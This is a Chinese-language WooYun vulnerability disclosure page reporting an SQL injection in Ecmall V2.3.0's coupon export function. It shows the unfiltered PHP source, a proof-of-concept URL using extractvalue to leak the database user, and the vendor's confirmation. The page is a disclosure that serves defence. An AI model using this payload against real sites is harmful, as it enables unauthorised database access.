当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(9) 关注此漏洞

缺陷编号： WooYun-2014-67931

漏洞标题： Ecmall V2.3.0-UTF8 正式版SQL注入漏洞之四

相关厂商： ShopEx

漏洞作者： HackBraid认证白帽子

提交时间： 2014-07-09 22:59

公开时间： 2014-10-07 23:00

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 10

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： php源码审核 白盒测试

2人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-09： 厂商已经确认，细节仅向厂商公开
2014-07-12： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-02： 细节向核心白帽子及相关领域专家公开
2014-09-12： 细节向普通白帽子公开
2014-09-22： 细节向实习白帽子公开
2014-10-07： 细节向公众公开

简要描述：

RT 20140618补丁绕过再来一发

详细说明：

漏洞位于coupon.app.php:

code 区域
function export()


    {


        $coupon_id = isset($_GET['id']) ? trim($_GET['id']) : '';// coupon_id未过滤


        if (empty($coupon_id))


        {


            echo Lang::get('no_coupon');


            exit;


        }


        if (!IS_POST)


        {


            header("Content-Type:text/html;charset=" . CHARSET);


            $this->assign('id', $coupon_id);


            $this->display('coupon_export.html');


        }


        else


        {


            $amount = intval(trim($_POST['amount']));


            if (empty($amount))


            {


                $this->pop_warning('involid_data');


                exit;


            }


            $info = $this->_coupon_mod->get_info($coupon_id);


            $coupon_name = ecm_iconv(CHARSET, 'gbk', $info['coupon_name']);


            header('Content-type: application/txt');


            header('Content-Disposition: attachment; filename="coupon_' .date('Ymd'). '_' .$coupon_name.'.txt"');


            $sn_array = $this->generate($amount, $coupon_id);


            $crlf = get_crlf();


            foreach ($sn_array as $val)


            {


                echo $val['coupon_sn'] . $crlf;


            }


        }


    }

漏洞证明：

绕过方法：

1.updatexml函数

2.extractvalue函数

以extractvalue为例：

http://localhost/ecmall/index.php?app=coupon&act=export&id=1/**/and/**/extractvalue(1,concat(0x7e,user()))#

ec.jpg

修复方案：

intval

版权声明：转载请注明来源 HackBraid@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2014-07-09 23:18

厂商回复：

非常感谢您为shopex信息安全做的贡献
我们将尽快处理
谢谢

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-09 23:18 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
    2

    快忽略啊。

    1# 回复此人
  2. 2014-07-09 23:19 | HackBraid 认证白帽子 ( 普通白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间： http://www.heysec.or...)
    0

    这么晚了还在工作，膩害

    2# 回复此人
  3. 2014-07-09 23:45 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
    1

    @HackBraid 致敬！

    3# 回复此人
  4. 2014-07-10 00:24 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    洞主8k的节奏么

    4# 回复此人
  5. 2014-07-21 17:04 | 从容 ( 普通白帽子 | Rank:359 漏洞数:94 | Enjoy Hacking Just Because It's Fun | ...)
    1

    封贴，楼下是二货

    5# 回复此人

登录后才能发表评论，请先 登录 。